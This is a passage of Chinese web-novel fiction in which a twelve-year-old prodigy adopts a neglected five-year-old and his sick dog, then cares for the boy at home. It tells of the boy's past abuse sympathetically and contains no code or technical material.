……"仿佛像做梦一般,岑康宁就这么被抓着,迈出了离开福利院的第一步。很快,又来到了祁家干净宽敞的奔驰车前。岑康宁从没见过这么漂亮的小车,大极了,像电视里的钢铁怪兽一样。通体白色。像大哥哥一样,身上不沾染丝毫灰尘。他还是有点儿不敢相信,像这样的车子,也是他能够上的吗?他看了眼身边的大哥哥。大哥哥却已经先他一步上了车。 非但如此,还将小豆豆放在了车的座椅上,岑康宁看到小豆豆身上的灰土立刻就把车的座椅弄得有些脏。 但大哥哥竟然一点儿都不嫌弃。 岑康宁将这一幕看在眼里,想到前两天小豆豆生病以后被福利院里的小朋友们嫌弃的样子,没忍住眼眶又红了,心里顿时涌现出前所未有的感激。 …… 又过了一会儿。经理办完了手续,带着一个厚厚的文件夹也上了车。 上车以后他先是跟岑康宁打了声招呼,笑着说:“小朋友,原来你叫岑康宁啊,以后叔叔叫你小宁好不好?” “好。”岑康宁乖巧地点了点头。 “好乖啊。”经理满意地点着头,又扭头看向祁钊:“小钊你的眼光真不错,给自己找了这么一个乖巧的弟弟。”祁钊却没有说话,依然还是那副冷冷淡淡的模样,说:“还不走?”经理显然已经很习惯祁钊这幅模样,立马表示:“马上就走,不过我看你还带了一只狗,夫人那边儿…” "先去宠物医院。" 祁钊道。 经理立刻了然:“好,那就先去最近的宠物医院。” 去宠物医院的路上,岑康宁一直提心吊胆。 虽然大哥哥告诉他豆豆还有救,可是对小孩儿来说,他有着一套自己的判定体系。 岑康宁一直记得。 当初他还在老家的时候,大伯家里的那只小狗,就是因为从某天开始吃不下饭,然后过了两天死掉了。 他真的很害怕小豆豆走笨笨的老路。所以才会愿意将那么珍贵的被领养机会让给小豆豆。 可小豆豆真的会有救吗? 宠物医院又是什么地方?是给宠物看病的地方?小狗也可以看病吗? 刚从乡下进城没多久的小孩儿什么也不懂。只知道一个劲儿的紧张,担心。 直到白色的奔驰车开到了宠物医院门口,大老远的,岑康宁透过车窗,看到了宠物医院门口灯牌上的小狗图案。 “小狗,小猫!”他没忍住惊呼出声。 啪嗒一声。祁钊打开车门,把生病的豆豆抱了下去。 "等等我,大哥哥。" 岑康宁立刻也想下车,奈何他力气太小,也不太会解安全带的扣子,在原地急得不知如何是好。 幸好经理及时从副驾驶上下来。这才帮忙解救了岑康宁。 经理把岑康宁的安全带松开以后,歉疚地对他解释道:“不好意思啊小宁,你的大哥哥他脾气有点儿不太好,你以后要多担待一点儿。”岑康宁摇摇头,不太愿意其他人说大哥哥的坏话,说:"大哥哥没有脾气不好。" 经理顿觉惊奇。这小孩儿怎么完全不生气的? 要知道以前有小朋友跟祁钊一起,哪怕是跟祁钊同龄的小朋友,也经常会被祁钊气到。 毕竟祁钊这孩子太早熟了。又那么聪明,做事经常我行我素,不顾他人的想法。被小朋友讨厌再正常不过。 但今天,太阳打西边出来,这个才六岁的小孩儿竟然觉得祁钊脾气好?还是在被祁钊抛下以后说出的这句话。简直太神奇了。 “你脾气也太好了吧小宁。”经理忍不住说。 然而说完以后才意识到,眼前哪里还有小朋友的影子?人早就跑了,一双小短腿跑的飞快,也不知道哪里来的劲头。 那头。岑康宁下了车以后就一路狂奔,也跟着进了宠物医院。但进了医院以后他就懵了。这里怎么这么多小动物?!有小猫咪,小狗,甚至还有小兔子。 一只毛发雪白的长毛猫正歪着脑袋好奇地盯着他,还有一只胖胖的银灰色猫正在某个透明的房间里扎针,岑康宁进门的时候,正发出凄厉的哀嚎。而这时—— “汪汪汪!” 岑康宁还没来得及心疼那只可怜的大胖猫,就有一只很大很大,简直比岑康宁还大的毛茸茸大狗冲着穿着白大褂的医生狂吼。 医生很无奈地举着双手投降。 而大狗的身后,它的主人一刻也不敢松懈地拽着它的绳子,不停地告诉它: “没事的宝宝,没事的,我们只是做个检查而已!” “……”小小的岑康宁站在宠物医院的大门口,一瞬间有种误入另一个世界的错觉。 眼前的世界真的是真实的吗? 原来真的会有专门给小动物看病的医院。 原来小狗小猫生病了,并不是只有死这一个结局。 他站在原地呆愣了很久很久,感到自己过去人生中的整个世界观正在被缓慢地重塑。 一直到姗姗来迟的经理也终于走进宠物医院,带着他,找到正在给豆豆问诊的祁钊,他这才清醒过来。 “什么情况了小钊?” 经理问。祁钊仔细看着手中的检查单,冷声道:“发热,食欲不振,共济失调,有百分之八十的概率是狗瘟。具体确诊要做血液检查才能知道。”“那……还有救吗?”岑康宁感到心脏猛地被揪紧,想哭的感觉再度袭来。祁钊却只是淡淡看他一眼:“哭就没有,不哭就有。” 岑康宁:"……"岑康宁立马把所有的眼泪全部憋了回去。后面的检查中无论发生了什么事,他都很坚强的没有哭出声来。可惜就算他一滴眼泪都没掉,也没能改变小豆豆的检查结果。血液检测结果显示。小豆豆的确是患了狗瘟,没有错。 “已经很严重了,必须马上住院接受治疗。”医生严肃道。 岑康宁:"……" 刷地一下。小孩儿的脸色立马变得苍白。 方才医生说了许多话,他一句也没听懂,可唯独听懂了这两个字:“住院。” 岑康宁还清晰的记得上一次听到这两个字是什么场景。 那时候他发烧了。高烧不退,浑身滚烫。 村里的卫生所,大夫也是这样告诉大伯母的。 但大伯母的第一反应却是:"住院?我们哪里有那么多钱!" 大夫说:“可是……” 大伯母立刻不耐烦地挥挥手,打断了大夫:“不住院,你开点儿退烧药得了,哪有那么多钱。” 还是小孩子的岑康宁难受的说不出话来。脸色惨白惨白的看着大夫没办法地给他尽可能的开了许多药。 但最后大伯母只挑了其中最便宜的一包药买了回去。 "活不活的下来听天由命吧,我可没对不起你。"大伯母把药扔给了岑康宁,就那么扬长而去。 岑康宁这辈子都没办法忘记那天晚上自己度过了多么难受的一个夜晚,其中有那么一个瞬间,他几乎觉得自己看到了死去的爷爷。要是不住院的话。小豆豆也会这么难受吗? 一想到这里,岑康宁心口疼的不得了,简直比自己生病还要难受。他还记得自己对大哥哥的允诺,没有哭。但这不妨碍他浑身颤抖着,害怕的泪水在眼眶里打转。然而下一秒,出乎意料岑康宁意料的是,他却并没有等来与大伯母相同的反应。对于医生提出的住院要求。帅气高冷的大哥哥只简简单单说了一句话:“可以。” 随后便问:“哪里付钱?”岑康宁惊呆了。这时一旁的经理主动道:“我来吧小钊。”然而祁钊毫不犹豫拒绝:“不用,我比你有钱。” 经理被怼了个无话可说,在原地半晌说不出话来。但事实证明祁钊说的也是实话,在接下来的付款环节,祁钊掏出自己的银行卡,随手一刷,就是两万块人民币,几乎等于经理的一个月工资。 “这么多?”经理咋舌。“预存。”祁钊语气不冷不热地解释。负责收款的护士小姐说:“小弟弟很大方呢,刚刚跟我们医生交代了,要用最好的药跟最好的治疗。”经理给祁钊竖起大拇指:“厉害。”祁钊却完全忽略了经理的反应,信步走到不远处的柜台前,指着里头琳琅满目的东西道:“这些,这些,都来一点。它现在没有胃口,等它有了胃口给它喂。”“好的好的。”护士小姐连忙记下了祁钊的需求。但其实也不需要特别去记,因为祁钊选的都是医院里最贵最好的罐头,直接按价目表拿就行。还没完。 祁钊又指着几个狗狗专用磨牙玩具,说: "这些也要。" 护士连忙把玩具拿了下来,又问:"狗窝要吗?" 一般宠物主人会自带狗窝来医院,但如果护士没记错的话,这只叫豆豆的田园犬并没有。 祁钊点头:“要。” 说罢他同样是指了指柜子里最贵,也显然是最舒服的那一个狗窝。护士于是兴高采烈地给小狗拿窝去了。 而这时,没有人发现的角落里,没人注意到,岑康宁看着祁钊的眼神逐渐地变了。 一开始他见到这个大哥哥。只觉得这位大哥哥好帅气。 他几乎从来没见过这么好看的大哥哥,皮肤好白,鼻子好挺拔,个子竟然有那——么高,比大伯家的哥哥要高几乎一头还要多。后来大哥哥答应他要带豆豆走。他又觉得大哥哥好善良。 这么帅气又心地善良的大哥哥真的很少见,所以当大哥哥要把他也带走的时候,他是很高兴的,因为觉得自己可以跟大哥哥成为好朋友。而现在…… 岑康宁仰着头,眼神亮晶晶,崇拜地看着祁钊,只觉得祁钊的身上仿佛正在散发着一道耀眼夺目的光环一样。 是天使吧?天使才会有这样的光环。 岑康宁曾经听奶奶讲过一个故事,故事说,这个世界上每个生灵都会有一个守护天使,每当遇到危险的时候,天使就会出现。岑康宁从前觉得这个故事是假的。这个世界上才没有什么天使,至少自己就没有。 却没想过有一天,天使真的出现了,是属于小豆豆的。 太好了!他真的很替小豆豆开心。 但岑康宁也不是没有小私心。 他的小私心是,有可能的话,他希望大哥哥一直成为小豆豆的守护天使,让小豆豆能够这一生都快乐幸福的活下去。 于是等祁钊跟经理在医院忙完,最后准备离开宠物医院的时候,嗖地一下,两人眼前忽然有一道小小的黑影闪过。 下一秒,只见眼前的玻璃门已经被人提前推开。 还没有桌子高的小朋友使出浑身的力气努力推开玻璃大门,推开以后转过头来,脸蛋红扑扑,忽闪着长长的眼睫毛,期待地看向祁钊。 100、if线3 祁钊眉尾微微挑了挑。有些不太明白这小豆丁的意思。 这是……在讨好自己? 一旁的经理连忙上前扶住沉重的玻璃门,说:“不用这样小宁,你年纪还小,不用做这些的。” 岑康宁不说话,只一味地偷偷瞥祁钊。 祁钊倒是泰然自若,对岑康宁的表现并没有什么多余的反应。 直到又过了两分钟。三人准备上车。 哒哒哒——熟悉的脚步声再度响起。 小豆丁一溜烟跑到车门处,飞快落位在祁钊方才下车的位置,拉开车门。 祁钊:"力气挺大。"小豆丁脸红,垂下脑袋不敢直视天使。 经理无奈地扶额,再度上前谆谆教诲:“小宁,你真的不用这样的。你是不是饿了想吃东西呀?” 岑康宁却把头摇得像拨浪鼓:“不饿。” 刚刚在车上,大哥哥给他吃面包了。 几乎是刚一上车,大哥哥就打开了他面前的小冰箱,顺带给他系好了安全带。 岑康宁也是今天才知道。原来车子上还可以有冰箱。 冰箱里面有面包,饮料,还有在福利院想也不敢想的巧克力。 岑康宁震惊了好一会儿,最后才不好意思的从冰箱里拿出一个面包打开,飞快的吃下去。 “那你干嘛对小钊这么讨好啊?” 经理也是个年轻人,虽然在职场上难免要懂人情世故,但也不至于要一个刚从福利院出来的小朋友去讨好一个才刚刚12岁的小朋友。于是经理一把将岑康宁抱上了车,认真给他系好安全带以后道: “不用这样,小宁。你就把小钊当成你的大哥哥就行。” 这时祁钊也已经落座在岑康宁的隔壁。 他动作如常。 仿佛一点儿都没有被岑康宁奇怪的举动所影响。 然而下一秒。就在祁钊准备拿起iPad,继续看他的文献时。一瓶水又被递了过来。 祁钊:“…”副驾驶座位上,经理已经开始打电话安排收养岑康宁的后续事宜,并没有看到后座发生的这一幕。 祁钊没有直接接过被递到自己的手边的水,唯独只是放下pad,再一次审视着眼前明显情绪紧张,眼眸里却隐隐暗含某种期待的小豆丁。 “你想要什么?” 祁钊问。 祁钊自认为对这种不到六岁的小孩儿还是非常了解的。这样明显的讨好不可能没有目的。区别只在于目的是什么。在过去的12年人生中,祁钊也不是第一次遇到这样的场景。虽然眼前的小孩儿还不到六岁。但事实上祁钊一直认为。学术界对于小朋友的心理认知存在极大的不足。就算是很小的儿童,也会有非常成熟的一面。 甚至祁钊还遇到过三岁的小孩儿故意讨好自己,其目的是为了问祁钊要一根棒棒糖。 于是下意识地,祁钊认为,岑康宁应当也是出于某种目的。 也许是为了一件合身的衣服。毕竟他身上的衣服已经很旧,并且非常宽大。 也许是为了一顿好吃的肯德基。 这个年纪的小朋友总无法拒绝的了肯德基的诱惑。 又也许是为了其他原因…… 但无论是为了什么,祁钊希望他早点说出口,这样他就可以尽快满足他的需求以后,要他立刻安静下来,不打扰自己看书学习。 然而,当祁钊冷静地问出口以后。却见小孩儿立刻面露慌张,疯狂地摇头解释:“不,不是的,我不想要什么。” “不想要为什么给我水?”祁钊问。 小孩儿黝黑的脸蛋刷地一下,又红了,他腼腆地咬着唇,低头小声讷讷说:“我想,想谢谢你。谢谢你可以成为小豆豆的天使。” 是的,岑康宁后来反思过。想要大哥哥当小豆豆一辈子守护天使的自己实在是有些自私。 大哥哥成为小豆豆天使已经很辛苦了,花了那么多钱,怎么能好意思让大哥哥当一辈子的天使呢? 所以岑康宁后来决定,不用大哥哥当一辈子的天使了。 他只要成为今天一天的天使就可以。岑康宁已经非常感激。 岑康宁想感谢大哥哥,尽自己可能的。不过果然,他还是太笨了么?岑康宁已经极尽可能的做了一切自己能做的事情。 可大哥哥的表情,仍然不怎么开心。 一想到这里,岑康宁就没忍住垂头丧气地低下了脑袋,整个人只露出一个圆圆的后脑勺,很苦恼很可怜的模样。直到祁钊问:"……你叫我什么?" 岑康宁这才从苦恼的情绪中抽离了出来,缓缓地抬起脸来,看着祁钊身上的光环,高兴地说:“天使!” “…….”祁钊沉默了。诡异的沉默开始笼罩在整个后车厢。 生平第一次,祁钊被叫做天使。 要知道从小到大,他在班级里的外号都被叫做“恶魔。”因为那些小孩儿不理解。为什么同样的年纪,祁钊可以那么聪明。 他们背十遍都背不过的古诗词,祁钊只要看一眼就会背。他们更不能理解,祁钊为什么可以轻松跳级。 年仅12岁的祁钊如今已经收到国内数所知名大学破格录取通知书。 那些学校是比他大很多岁的人都梦寐以求的学校。但祁钊竟然还对此挑挑拣拣。 因为这样的原因,祁钊经常被叫做“魔鬼”“恶魔”“那个怪小孩儿”。从没有人称他为天使。 甚至他的亲生母亲,偶尔也会叫他一声“累赘”“拖油瓶”,只因为有他在的缘故,导致母亲无法离婚。然而眼前这个刚到自己腰那么高的小孩儿。他叫自己天使。 祁钊其实并不在意其他人对自己的看法,包括父母亲怎样看待,也无所谓。但他却也不得不承认,当岑康宁说出“天使”这两个字的瞬间,自己原本非常排斥的心理有了一丝奇怪的松动。祁钊其实并不想多一个弟弟。 他根本不需要弟弟。弟弟这种存在只会给他平添不必要的麻烦。 就好比今早。祁钊原本可以拥有一整个早上的时间阅读文献。 结果莫名其妙因为弟弟的缘故,导致他到现在还只读到三分之一。 祁钊的内心当然是不满的。只是碍于父亲的颜面,没有说出口罢了。 但此时此刻,他看着小孩儿纯净又崇拜的眼睛,看着他因为营养不良而过分瘦小的身形,心中的想法却忽然有所改变。 如果是这个小孩儿的话。他似乎,勉强可以接受。 “以后不要这么叫我了。” 祁钊将小孩儿手上的水接了过来,打开,却并没有喝,而是重新递给小孩儿。 “那叫什么?”岑康宁懵懵地接过水,还有些不知所措。 祁钊面无表情:“叫哥哥,以后你是我弟弟。” 一直到抵达祁家别墅。岑康宁都没从那句“以后你是我弟弟”中缓过神来。 他不敢相信。自己竟然就这么有哥哥了。 而且还是这么高大,这么善良帅气的天使哥哥。 怎么会呢?他不是在做梦吧? 岑康宁使劲儿地掐了自己大腿一下,虽然非常不舍得,但还是想让自己从梦中醒来。 因为他从小就知道美梦不能做太久。做太久的话很容易沉溺。 就好像小时候,他梦到爸爸妈妈来接他了,那个梦他始终不愿意醒。结果醒来以后浑身发烫。他开始生病。 生病了爸爸妈妈也没出现,那时候他才意识到,一切只是一场梦而已。 梦醒以后前所未有的痛苦侵袭着他。他太难受了。 原来最痛苦的不是从未拥有,而是认清现实的一瞬间。所以岑康宁不想再做梦,只想从梦中清醒。可不知怎的,今天的梦始终无法醒过来。 无论岑康宁偷偷掐自己大腿多少下,他一扭头,帅气的哥哥还是在自己的身边。哥哥的皮肤很白。眼睫毛特别长。 甚至,他还可以清晰无比的闻到从哥哥身上传来的好闻的香气。淡淡的柠檬味道非常清新。让他忍不住闻了又闻。 岑康宁甚至很想贴过去闻,可是一想到自己这样会打扰到哥哥学习,哪怕在梦里也是无法原谅的行为。于是他立刻又掐了自己一下,让自己冷静下来。这场梦做了很久很久。终于。车驶过许多条马路,在一栋漂亮的大别墅门前缓缓停下。岑康宁要把自己大腿都掐青了,以为这一次是真的要醒了。但他没有等来梦醒。等来的却是一只干净白皙的手出现在他眼前。 “下来。”祁钊道。岑康宁懵然地看着那只手,直到感受到微凉的温度从手掌心里传来,终于,他后知后觉地意识到自己可能没有在做梦。一切是真实的,他真的要有一个哥哥了。 这个哥哥不仅是小豆豆的守护天使,而且现在还要接他回家。 瞬间,岑康宁眼眶就红了。 但他没有哭,因为知道哥哥不喜欢爱哭的弟弟,所以他很懂事,一路上都没有哭。 他告诉自己,无论哥哥做什么他都不能哭,告诉自己一定要做一个很乖很乖的弟弟,不能惹哥哥生气。 可是…… 就这样被哥哥牵着手而已,眼泪就像关不住的水龙头一样流淌了出来。他哭得浑身颤抖,最后下定决心,一定要好好报答哥哥。 于是当祁钊把他带到一个房间以后,他一把撸起袖子,将哥哥方才拿过来的衣服抱了起来,走进卫生间。 "哥哥放心,我一定会把这些衣服都洗干净的。"岑康宁攥紧了小拳头,信誓旦旦地想。 他一定要告诉哥哥自己是很有用的。以前在大伯家,大伯母都夸他洗衣服最干净。 然而岑康宁努力地洗了五分钟后,祁钊皱着眉头走了进来,将他从小山堆一样的衣服里像拎小鸡仔一样轻松地拎了出去。 "你在做什么?""我给哥哥洗衣服。" 岑康宁不知道自己做错了什么,还以为是自己洗的太慢了哥哥生气,所以立刻保证:“哥哥我会快点洗的。” 谁知这么保证以后哥哥更生气了。眉心皱地更紧。 “谁说要你洗衣服的?” “啊?”这些衣服,难道不是要他洗的意思吗?岑康宁懵了。 “那些都是给你买的新衣服,不用洗,要你换上的意思。”"……" 岑康宁张大了嘴巴,完全不敢相信自己耳朵听到的事实。 “算了。”祁钊看着小孩儿那懵懂无知的神情,无奈地叹了口气,心想,果然养一个弟弟是错误的决定。可是养都养了。也没有送回去的道理。 祁钊于是认命地接受了自家弟弟可能不太聪明的事实,然后耐下性子给他讲解。 “这里是你的房间,以后你睡觉的地方。” “这是你的衣柜,里面的衣服都是你的。不用洗,脏了就换下来,放进脏衣篓里,家里有阿姨。” “这是你的书桌,以后你在这里学习。” “还有——” 祁钊最后又带着小孩儿走到一个柜子前,打开了柜子: “这里的零食,都是给你的。” 第101章if线4 都是我的?" 岑康宁张大了嘴巴,半天都合不拢。 脑袋都快要冒烟了,他也还是没办法理解,柜子里的这些零食怎么就都成他的了? 柜子里有小锅巴。是他没见过的牌子。 但小锅巴岑康宁认识,小时候住在爷爷奶奶家里,每个月只要他听话,到了月底的时候,爷爷就会给他买一包小锅巴奖励他。 岑康宁很喜欢吃。每次都至少要吃三天才把一小袋吃完。最长的记录甚至是一星期。 后来爷爷奶奶去世,他去了大伯家,就再也没有小锅巴吃了。岑康宁曾经觉得很伤心。为了自己再也吃不到的又香又脆的小锅巴。 可没想到如今念念不忘的小锅巴竟然成堆的堆积在柜子里。 哥哥还说,全是他的。 这真的是现实世界吗? 此外,除了小锅巴,岑康宁还见到了棒棒糖。 岑康宁当然是没有吃过棒棒糖这种“高级”零食的。 一根棒棒糖要五毛钱,爷爷奶奶舍不得给他买,后来去了大伯家,大伯大伯母就更舍不得给他买了。 岑康宁第一次见到棒棒糖还是在大伯母家里的弟弟手里。 年仅三岁的弟弟手里得意地捧着棒棒糖,一边吃一边对他炫耀: “你没吃过吧?笨蛋!” 岑康宁眼巴巴地看着弟弟吃,被骂笨蛋了也不敢生气。甚至以为,吃不到棒棒糖的自己,的确是个笨蛋。 毕竟他都五岁了,结果还不识字,没上过学。 结果现在柜子里,一大包棒棒糖出现在他的眼前,各种口味都有。 岑康宁看呆了。 小孩儿不由得心想,等他吃掉这些棒棒糖以后,就能变成聪明小孩儿了吗? 一定会吧。 毕竟这里有1234……数不清的,那么多的棒棒糖。 就算他再笨,多吃几个,一定也可以变成会认字背古诗的聪明小孩儿。 想到这里,还不到六岁的小朋友终于忍不住地伸出小手,朝自己渴望已久的棒棒糖而去。然而下一秒。手被握住。 冰凉的温度从对方的皮肤上传来,比皮肤更冰凉的是哥哥的话语。“先洗手才行。” 岑康宁:T-T岑康宁被祁钊带去卫生间洗手,但后来到了卫生间,祁钊却忽然改变了主意。"直接洗澡吧。"他看了眼小孩儿脏兮兮的衣服后说。 岑康宁还不知道即将要发生什么,只懵懵懂懂的点头,表示自己很听话。 直到祁钊开始给卫生间里的大盆子放水。岑康宁终于反应过来。 “哥哥?”“脱衣服,坐进去。”“…….” 岑康宁其实有点儿害怕,他从来没见过浴缸这种东西,而且浴缸里的水是从水龙头里流出来的,一壶热水都没加。 但既然是哥哥要他做的。就算再冷,岑康宁也会照做的。 这样想着,岑康宁鼓起勇气,将身上的衣服脱了下来,随后小心翼翼地扶着浴缸的边缘,走了进去。 本以为会被冷的发抖,像是以前在村里洗澡一样。 结果走进浴缸以后。温暖的水流顿时将他包围。 乡下小孩儿再一次被震惊,原来,哥哥家里的水龙头流出来的热水。 好舒服!原来洗澡也可以这么舒服。 岑康宁舒服地几乎要眯起眼睛。 但很快,奇怪的灰色开始自他周身散发而开,等岑康宁意识到的时候,整个浴缸里的水已经已经全变灰了。 岑康宁:“……”正准备拿沐浴露跟洗发水过来的祁钊发现小孩儿忽然从浴缸里惊慌失措的站了起来,以为他是被烫到,立刻三两步上前想要关水。结果水不烫,还是正好的温度。唯一发生的变化是浴缸里水的颜色,还有小孩儿烫到几乎要滴血的脸皮。 灰色的水中,小孩儿的脸愈发显得红。祁钊沉默。 岑康宁则快羞愧地疯掉了,下意识地想要从浴缸里跳出来,不让自己身上的脏东西污染浴缸。 可不到六岁的小朋友,力气再大能大到哪里去呢? 自然是被十二岁的大哥哥强行按在浴缸里。仔仔细细洗了一遍以后,换水打沐浴露,又洗一遍。 第二遍的时候浴缸里的水还是泛灰,祁钊皱了皱眉,白皙修长的手指轻轻在小孩儿的身上搓了一下。 结果就轻轻一下。 岑康宁的身上就掉下一小块儿泥垢。 也是这时祁钊意识到,眼前这个小孩儿的肤色可能远没有自己想象中那么黑。 但饶是祁钊已经如此有所预感。当他彻底给岑康宁洗完澡后,还是被这小孩儿真正的肤色所震惊了。 原来,岑康宁并不黑。原来他的皮肤差不多跟祁钊一样的白净。 但跟祁钊的冷白色不太一样的是,岑康宁是暖白皮,也许是泡在热水里太久的缘故,这会儿正处处透着粉。 “你有多久没洗过澡了?”祁钊绷着脸问他。 岑康宁摇摇脑袋,很羞愧地说:“不知道。” 的确是不知道,不记得了。在农村的日子过得糊涂,他又不去上学,根本不知道过了多少天。 后来来了福利院的日子倒是记得清楚。可惜自打来了福利院,一次也没轮到他洗。 祁钊沉默了一会儿,目光又落在小孩儿身上大大小小的伤疤上。肤色黑的时候看不见。肤色一白,这些伤疤就分外明显地显露出来。 有些伤疤是磕碰出来的,还泛着青紫;还有些伤疤却明显是被打出来的,时间已经有些久远,但至今仍留着印记。 其中还有一处。 看上去像是烟头烙在上面留下的烫伤。 祁钊用手指轻轻碰了碰,小孩儿疼得此牙咧嘴。祁钊冷着脸问他是谁干的,他却低着脑袋,呜呜咽咽说不出话来。 祁钊没有继续追问。 而是给他拿来一身新衣服要他换上。 洗了这么久,岑康宁早就迫不及待地想穿衣服了,于是二话不说接过新衣服,非常麻利地穿到了身上。 结果穿新衣服的时候。没忍住又掉了眼泪。 因为从小到大,他还没穿过这么新,这么软,这么合身的新衣服。 不会散发着难闻的味道。不需要卷起袖口跟裤边。 穿上身以后,岑康宁几乎不敢认镜子里的那个小孩儿。 他是谁? 怎么会这么漂亮?! 岑康宁知道这一切都是哥哥给他的,非常感激,像个跟屁虫一样的跟在哥哥身后,想要给哥哥做点什么回报。但祁钊其实并不需要他做什么,简单将浴室清理好之后,就把人带回卧室,递给他一根棒棒糖。 “可以吃了。” "!"到底还是小孩子,一根棒棒糖一包小锅巴就打发了。祁钊将人安排好以后,关上门脸色立刻变得严肃。他拿出手机,给负责安排领养事宜的经理打电话。“周叔叔,你知道他在福利院受虐待吗?” 经理反应了一会儿才意识到祁钊是在说岑康宁的事情:“你说小宁?”“他的身上有烟头烫伤。福利院这种行为已经违反了我国的未成年人保护法。” 祁钊语气正经中带着一丝生气地说: "我要告他们。" 经理惊呆了,心说你一个12岁的小孩儿去告谁啊?但转念又一想,祁钊也确实不是普通的12岁小孩儿。 谁家12岁小孩儿就能上大学? 经理立刻不敢小瞧这件事,连忙说要先给福利院打电话调查一下这件事。 十五分钟后他把电话回了过来。结果相当惊人。 “院长说小宁是半个月前才来的福利院,来的时候身上就有那些伤。” “为什么?” “小宁是被家里人抛弃的,警察送他来福利院之前,他一个人在城里流浪了一个多月,身上的伤估计就是那时候留下的。” " " 挂断电话以后祁钊沉默了许久。 他想到自己的六岁。住在干净整洁的大房间里,享受着最优秀的教育资源。 虽说父母感情不好,经常吵架。 但比起一个六岁的小孩儿孤苦无依流浪街头来说,他所面对的一切简直不值一提。 被家人抛弃的时候。岑康宁在想什么呢? 一个人在城市的街头流浪的时候,他又是靠着什么活下去。然而尽管是这样的遭遇发生在岑康宁的身上。 当有一个领养的机会终于要降临的时候,他却还是选择了把机会让给生病的小狗,没有丝毫的犹豫。 心口处微微的刺痛。生平第一次,祁钊为一个人感到心痛。 如果说下午那会儿祁钊答应让他叫自己哥哥,还有几分对父亲无可奈何的妥协,那么到此刻为止,成为岑康宁哥哥这件事已经跟父亲丝毫没有关系。就算祁未言忽然决定不养这个小孩儿了。祁钊也会把他养大。 一门之隔。岑康宁对门外发生的一切一无所觉。 过了一整天想都不敢想的生活以后,他抱着祁钊给他的棒棒糖,躺在沙发上幸福的睡着了。 梦里没有挨饿没有受冻。 只有好闻的柠檬味,好吃的棒棒糖。还有哥哥。 他连做梦都是笑着。 — 岑康宁就这样在祁家住了下来,从一开始的处处不适应,再到慢慢习惯了这里的生活。这个家里有温暖的大床,有干净整洁的房间,还有永远热气腾腾的饭菜。跟岑康宁过去的生活简直天差地别。 但果然。尽管这个家有那么多值得喜欢的东西。岑康宁在这个家里还是最喜欢哥哥。 祁未言不常回家。 刘海俐也经常出门,跟他见过一次以后就直接忽视了他的存在。 所以其实,他真正意义上的领养人是哥哥。 是哥哥把他从福利院带走,也是哥哥给他买所有的新衣服,零食。 还是哥哥,在他一无所知的上了小学以后,每天放学回家,非常耐心的教他。 教他认字。教他算术。 他现在会写字了,也会背古诗,再也不是什么也不懂的小笨蛋。这一切都是哥哥带来的。哥哥的形象在他眼中愈加光芒四射。 而逐渐地。他也对哥哥变得更加了解。 他知道祁钊每天早上不到六点就起床了,也知道祁钊每天早上起床后都会喝一杯牛奶。还知道祁钊虽然看上去凶巴巴的。但其实特别温柔。 就好比现在,哥哥要开始学习了,每次哥哥一学习就会关上门,把岑康宁一个人留在房间。岑康宁不太乐意。觉得一个人在房间很孤独。 他就故意路过哥哥门口唉声叹气了一句,果然,不到十秒钟,祁钊就打开门,把他也叫了进去。 “嘿嘿,谢谢哥哥。”岑康宁咧开嘴笑,露出脸颊小小的梨涡。 “粘人精。”祁钊不客气地评价。 岑康宁拿着哥哥给自己买的书跟本子也像模像样坐到书桌上,小声嘟哝着说:“我就是要当粘人精。” 一辈子都粘着哥哥。 后一句话他没说出口。怕把哥哥吓跑。 哥哥吓跑了自己可怎么办?他要到哪里去找这么好这么帅的哥哥? 岑康宁不敢想象那一幕,自己吓自己,连忙把脑袋埋在了书里开始认真学习。 不过,随着时间的流逝。岑康宁也逐渐发现了祁钊身上一些小秘密。 曾经的岑康宁以为哥哥是完美的,又帅又厉害,从小到大都过着无忧无虑想有什么就有的生活。总之就是跟自己完全不一样。 直到那一天。他忽然发现哥哥在吃药。 "哥哥,你是生病了吗?"“不是,只是过敏药。”祁钊说。 “过敏?”岑康宁不太懂过敏是什么意思,依然很紧张地看着祁钊。祁钊没办法,只好给他解释:“就是吃了或者用了含有某些成分的东西以后,身上会起小疹子。”"那吃过药就可以不起疹子了吗?" “对。”“…….” 岑康宁当时没说什么,只眨巴着眼睛安静地看着祁钊把药喝下去。但又过了几天以后的饭桌上,一向在饭桌上特别沉默乖巧的孩子竟然主动开口,对刘海俐说: 102、if线5 饭桌上氛围立刻变得有点奇怪。 刘海俐拧着眉头,眼神古怪地看着这个被丈夫领养回来的孩子,有些不满地道: “你想吃面条?” 岑康宁迟疑了下,摇了摇脑袋。 他不是自己想吃。他不吃都行。 可哥哥不一样,哥哥吃了面条会长小疹子。岑康宁不想让哥哥长小疹子,也不想让哥哥吃药。 然而不等他解释更多,刘海俐横眉竖目地指责了他一通:“想吃面条自己吃饭的时候告诉王阿姨,你哥哥碗里的面是阿姨辛辛苦苦擀出来的。”刘海俐的言外之意是让岑康宁不要多想。他只是个领养回来的孩子,祁家能给他一口饭吃已经不错。 但岑康宁把头摇得像拨浪鼓,着急道:“不是的阿姨,不是的。”“那是什么?”刘海俐已经有些生气。 “算了,吃饭吧。”饭桌下,祁钊伸手轻轻地捏了小孩儿的手一下,示意他坐下。岑康宁却很倔强,他咬着唇,鼓起勇气抬脸看向刘海俐:“阿姨,哥哥不能吃面,吃面会过敏,长小疹子。”这是他这几天观察到的。 但凡是饭桌上没有面条馒头之类的主食,祁钊就不用吃药。 一旦有任何面食。哥哥就必须吃药。 虽然哥哥一直说没关系,只是过敏药而已。但怎么会没关系呢? 岑康宁只有身体特别不舒服的时候才会吃药。小豆豆也是。 所以哥哥一定身体很不舒服了。 想到这里,岑康宁就觉得心疼。所以他一定要把话说给刘阿姨,哪怕因此刘阿姨会责怪他,他也要说。 为了他最喜欢的哥哥能够身体健康。岑康宁愿意做任何事。 “小小年纪胡说八道,到底是谁教你的?”刘海俐终于生气了,将手中的筷子猛地往饭桌上一摔:“我的儿子我能不知道,我能害他?” “可是……” 岑康宁脸色刷地一下白了。 他不明白。刘阿姨平时看起来不是很爱哥哥的吗? 为什么却宁愿哥哥过敏,也不肯将饭桌上的面条撤下去。 刘海俐却完全一副完全不愿意再听他说什么的表情。 “闭嘴”这两个字即将脱口而出的时候。 祁钊率先开了口:“够了,妈。” 刘海俐被噎住,一脸不可思议:“你说谁够了?” 祁钊拉着岑康宁的手,没什么表情地看着母亲。 刘海俐被气的不轻:“好啊,现在连你也胳膊肘向外拐了是不是?你俩现在成了一国的,一起欺负你妈是不是?” 祁钊依然没说话,但那双沉静的眼眸却与以往有了些许微妙的区别。 从前在家中。他与母亲不是没有过这样的对峙时刻。 